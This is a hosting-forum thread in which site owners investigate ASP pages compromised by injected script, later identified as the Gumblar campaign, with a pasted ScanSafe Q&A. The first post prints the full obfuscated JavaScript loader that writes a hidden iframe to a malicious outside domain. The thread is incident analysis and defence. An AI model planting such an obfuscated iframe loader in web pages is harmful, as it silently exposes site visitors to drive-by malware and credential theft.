Client's site hacked

antic

antic

Perch
Ok, first time this has happened to a client of mine. Very curious HOW this happened. It's a very basic site - ASP pages but no functional content. Not even a contact form! How could someone inject code into the default.asp file??!

This is the code that was injected, at the top of the default.asp file:

Code: 
<script type="text/javascript">

  var eMCeGjolMPJFNuucZWLk = "jc60jc105jc102jc114jc97jc109jc101jc32jc119jc105jc100jc116jc104jc61jc34jc52jc56jc48jc34jc32jc104jc101jc105jc103jc104jc116jc61jc34jc54jc48jc34jc32jc115jc114jc99jc61jc34jc104jc116jc116jc112jc58jc47jc47jc121jc111jc117jc45jc102jc111jc117jc110jc100jc45jc105jc116jc46jc111jc114jc103jc47jc105jc110jc100jc101jc120jc46jc112jc104jc112jc34jc32jc115jc116jc121jc108jc101jc61jc34jc98jc111jc114jc100jc101jc114jc58jc48jc112jc120jc59jc32jc112jc111jc115jc105jc116jc105jc111jc110jc58jc114jc101jc108jc97jc116jc105jc118jc101jc59jc32jc116jc111jc112jc58jc48jc112jc120jc59jc32jc108jc101jc102jc116jc58jc45jc53jc48jc48jc112jc120jc59jc32jc111jc112jc97jc99jc105jc116jc121jc58jc48jc59jc32jc102jc105jc108jc116jc101jc114jc58jc112jc114jc111jc103jc105jc100jc58jc68jc88jc73jc109jc97jc103jc101jc84jc114jc97jc110jc115jc102jc111jc114jc109jc46jc77jc105jc99jc114jc111jc115jc111jc102jc116jc46jc65jc108jc112jc104jc97jc40jc111jc112jc97jc99jc105jc116jc121jc61jc48jc41jc59jc32jc45jc109jc111jc122jc45jc111jc112jc97jc99jc105jc116jc121jc58jc48jc34jc62jc60jc47jc105jc102jc114jc97jc109jc101jc62";
  var VarLlMnCAppeCrJJayvn = eMCeGjolMPJFNuucZWLk.split("jc");
  var OEtbynEYKPJgqArbMfdN = "";
  for (var VTsXKBglzcYNgRpfFtDP=1; VTsXKBglzcYNgRpfFtDP<VarLlMnCAppeCrJJayvn.length; VTsXKBglzcYNgRpfFtDP++)
  {
      OEtbynEYKPJgqArbMfdN+=String.fromCharCode(VarLlMnCAppeCrJJayvn[VTsXKBglzcYNgRpfFtDP]);
  }
  document.write(OEtbynEYKPJgqArbMfdN)
  
</script>

The JS decodes that garbled string and outputs the actual nastiness.

Seems the variables are randomly generated, so it's probably some bot which is doing something to sites fully automatically, making random variables to try and avoid detection.

But how can a bot infect an ASP page on a server, with no forms or any other way to *enter* information into anything? All the pages are straight HTML. I just used ASP #includes to implement a simple site template.

Very odd. Any ideas? Did it simply guess the FTP password or something?
 
FTP is a common way, more and more we've seen FTP passwords have been sniffed from clients and then they just log right in :(

This has been increasing over the last year, as probably with the proliferation of spyware integrating keylogging happens.

It can also happen if FP extensions are enabled and they entered the permissions area of FP/Expression web, and changed ANYTHING(any change basically can make permissions wrong and allow anyone to edit)

Then there is the possibility that the asp page could allow a remote include, but probably low considering what you have said, this is much more common on PHP.
I can find these from logs in most every case, but need you to submit a ticket and give here so I can see it.
 
Thanks for the comprehensive reply Stephen.

Cool, I'll let it go this time - I've changed the CP & FTP passwords to something more cryptic (it was actually pretty lame before) :)

If it happens again, I'll let you know.
 
I am not a JodoHost client, but in the last week I have had ASP sites have this exact same script inserted into several pages. These sites are located on different hosts located in different parts of the country (but they do both use hsphere, interestingly enough). I do not suspect FTP password has been compromised because one of these sites has not been updated in 10 months, so I think they are using google hacking to find sites that meet a certain "inurl:" match.

All this considered, it seems like an exploit of ASP, IIS, or as was mentioned, FP/expression.

If you take the script and change document.write to alert you will see that it's putting an iframe on the page that embeds a page from one "you-found-it.org", but I don't know what that page does, other than the fact that the Websense filter at my work started blocking my sites because of the embedded content.

I am still trying to determine how they were able to change the server files, but I'll look into Expression.

Mark
 
Hey Mark, many thanks for taking the time to post that here. Please let us know what you find.

My client actually had 2 script blocks inserted, perhaps as part of 2 separate campaigns at different times. The first iframe pointed to "you-found-it.org/index.php". The second was "addcouner.info/index.php". Interestingly, you-found-it.org has been suspended by eNom and addouner.info has been reclaimed by GoDaddy.

A quick google came up with only 2 other forums posts complaining about this recently.
Code: 
http://www.ssforum.net/index.php?showtopic=23004
http://72.14.235.132/search?q=cache:9YxBkAVcU9gJ:www.ssforum.net/index.php%3Fshowtopic%3D22989
(the second link is just a google cache of that forum thread because it requires membership to view)

Seems the bot is still doing its thing, but the domains to which the IFRAMEs point have been taken offline.
Still no idea how the bot managed it. :suspiciou
 
Stephen said:
sounds like this could be another asp injection worm then....
Click to expand...

Hope I'm not missing something I should know, but what's "asp injection"?

If you mean "SQL injection", there's no SQL backend or indeed any forms of any kind at all on my client's site. That's why I'm so befuddled.
 
sorry, I wasn't clear in terms at all, there was a sql injection for sure. ASP include injection, I have seen it a number of times.
 
Stephen said:
there was a sql injection for sure. ASP include injection, I have seen it a number of times.
Click to expand...

However all those methods require *some* use of input, either from querystrings or forms. In this case, there isn't. The site doesn't use querystrings of any kind. Simple structure is:
default.asp
aboutus.asp
contactus.asp
etc..
Each page includes an ASP script containing a couple of simple routines that write HTML for header, menu and footer. No querystrings, no forms, no SQL.

Yet the exploit was written into the actual default.asp file itself. In the file was this:

<html>
<head>
<% Call Page_HeadTags() %>
</head>
<body><script>[exploit code here]</script>

... rest of normal html

</body>
</html>

That's the physical ASP file. I can't think of any way of injecting that, unless the bot had guessed the FTP password. ?(
 
On one of my affected sites I found a folder that had a php script in it. from what I can tell so far, it scours the file system for files with certain names and then adds the script to it after certain tags and then saves the file. that explains why so all my affected files are default.asp, index.asp, login.asp.

What I don't understand is how that folder got on my site. all they would have to do is run that php script and all files would be corrupted again. However some of my affected sites don't have PHP enabled and so I'm wondering how it was done in those cases.
 
antic,

could you PM me the site in question here? I am curious to check this now.

Mark,

if I can find some info on how, I will update here, removing any private info's that may be contained....I haven't heard of a rash case of this on our servers so it doesn't look to be quite as wide spread as some other issues in the past with SQL Injection trojans running around the net.
 
mbarlowm said:
What I don't understand is how that folder got on my site.
Click to expand...

Exactly. If my case, I must admit the FTP username & password was guessable if they tried permutations of some key words & numbers. It's hard to imagine that - hundreds of failed FTP login attempts would show up in the server log.

I've just checked the client's folders, and found a .htaccess file in the root which shouldn't be there (see attached). This is a Windows server, but php is also enabled. The file refers to two other domains: myservnet.info (domain suspended) and addtracker.info (still active).

Also, the .htaccess file was repeated in the /webalizer folder, so I'm wondering if this if a webalizer vulnerability? Check /webalizer/default.html! The injected script appears there too, after the <body> tag! Avast AV identifies it as a generic "HTML:IFrame-EJ" trojan.

Haven't found the script in any other webalizer "usage_" html files.
 

Attachments

  • htaccess.txt
    1.9 KB · Views: 113
Possible H-Sphere Exploit?

I'll preface this post by mentioning that I'm not actually a JodoHost customer, but found this thread indexed on Google while searching because a number of my sites were hit too (date of compromise: Friday, May 8th). I'm currently a customer with another H-Sphere hosting provider, which I won't name, though I do see a familiar avatar. (Hi Antic! :D) I thought I'd join the conversation here though, as it was the only useful link Google had indexed so far (search string: javascript split jc).

Maybe someone with some H-Sphere admin experience can chime in here. Is it possible this is the result of an H-Sphere exploit? I have a site still setup in H-Sphere for which the domain has long since expired. (I know, I know. I'm way behind on my digital housekeeping.) The directory for that site though is one of the ones that was compromised though. It is not a subdirectory of another site or anything of the kind - it is completely inaccessible from the net to my knowledge, aside from logging in through H-Sphere or FTP. Please correct me if I'm wrong, but the only way I can see an attack finding that directory would be by using the correct FTP login and password or if it exploited a software weakness, probably in H-Sphere.

For comparison, I do not have FrontPage extensions installed on any accounts that were compromised. I have PHP installed on a couple, but several compromised accounts do not have it. One of the accounts compromised had a weak password, but the rest were sufficiently secure (non-dictionary, including upper-case, lower-case and numbers). The only other common thread I can find is that Webalyzer is installed on most, possibly all accounts.

Hopefully this info helps move the investigation forward.
 
Re: Possible H-Sphere Exploit?

almost no domain in not accessible from the internet, in fact many of the instant aliases that are created make old domains available, I'd not worry to much on that front, many old domains can be 'up' with that instant alias.
 
I posted in the PHP forum also, but I noticed that one of the only sub folders included in my 'hack' was the webalizer folder.

The suspicious htaccess and php files were in other folders that are referenced by different web pages - things like 'images' 'admin', and even non-standard names like 'ffb' and 'weekspecup'.

However folders like 'cp' and 'cgi-bin' and even 'awstats' did NOT contain the hack files.

When I found the 'hack' files in the webalizer folder I was kind of surprised....
 
Seems to be a Gumblar Attack.

I hope we are safe with JODO on this. Many other HOSTS are badly affected.


Gumblar Q&A

What is happening?

A multi-stage series of compromises is delivering malware that attempts to redirect Google search engine results (SERPs). Visitors who encounter the compromised websites risk having their subsequent Google search results replaced with links that point to malicious and fraudulent websites.

The malcode also steals FTP credentials (if found) from the victims’ computers. These stolen FTP credentials are then used to further compromise any websites owned or operated by the victim. As a result, there is exponential growth of these compromises – as more victims are infected by encountering a compromised site, the number of compromised sites also increases and thus more visitors are exposed.

Is this a cross-site scripting (XSS) attack?

No. The compromises appear to be the result of stolen FTP credentials and direct manipulation of files on the Web server.

When did ScanSafe first detect this?

There are two stages in the attack. The first stage compromised websites in order to distribute malcode from 94.247.2.195. OI made the first block on March 23rd. Signature scanners began detecting on March 27th. The compromises were reported to Google on April 13th after an investigation revealed the malware was redirecting Google searches.

Reference blog post: http://blog.scansafe.com/journal/2009/4/14/malware-manipulating-google-serps.html

What happened next?

As Google began delisting the compromised websites, those site owners began cleaning up the mal-scripts pointing to 94.247.2.195. Likely as a defensive maneuver, in early May the attackers began replacing the mal-scripts pointing to 94.247.2.195 with dynamically generated and heavily obfuscated mal-scripts pointing to gumblar.cn. Blacklisting based on the original mal-script would thus be defeated, allowing the compromised sites to once again be listed by search engines.

What is the intent of the malware distributed through the Gumblar compromised websites?

The malcode distributed via the compromised websites attempts to exploit PDF and Flash exploits in order to deliver malware that redirects infected users’ search engine results. In these particular attacks, the malcode appears to be targeting Internet Explorer users and Google search. In addition, the gumblar.cn malcode installs a backdoor that connects to 78.109.29.112 – an IP address of a known botnet command and control that has historically been associated with malware engaged in malicious redirections.

Reference blog post: http://blog.scansafe.com/journal/2009/5/8/google-serps-redirections-turn-to-bots.html

How do these malicious redirections work?

Similar to a man-in-the-middle attack, these redirections occur as a result of a man-in-the-browser attack. The malcode injects itself into the browser process, monitors the requests processed by the browser, and injects fraudulent traffic. In the case of the Google SERPs redirects, the malcode replaces legitimate Google SERPs results with links pointing to malicious or fraudulent websites.

Is this a problem on Google’s end?

No. As mentioned, this is a man-in-the-browser attack. The injection and redirection occurs locally, on the compromised PC.

Millions of websites have been compromised over the past year; what makes these particular compromises unique?

A typical series of website compromises reaches peak within the first week or so and subsequently begins declining in intensity as detection is added by signature vendors, user awareness increases, and website operators begin cleaning the affected sites. (This is why attackers are constantly pushing new waves of compromise).

In the gumblar.cn attacks, the opposite is occurring. As website operators attempt to clean up the original compromise or otherwise make changes to the original source code of the .htm, .php, and .asp pages on their sites, the gumblar.cn compromise is injected. The gumblar.cn mal-script appears to be dynamically generated and thus varies not only from site to site, but also from page to page on the same site. In addition, the resulting mal-script is heavily obfuscated, further hampering signature detection methods. As a result, the gumblar.cn compromises are increasing – up 188% from last week and a 61% increase from yesterday.
 
You must log in or register to reply here.
Back
Top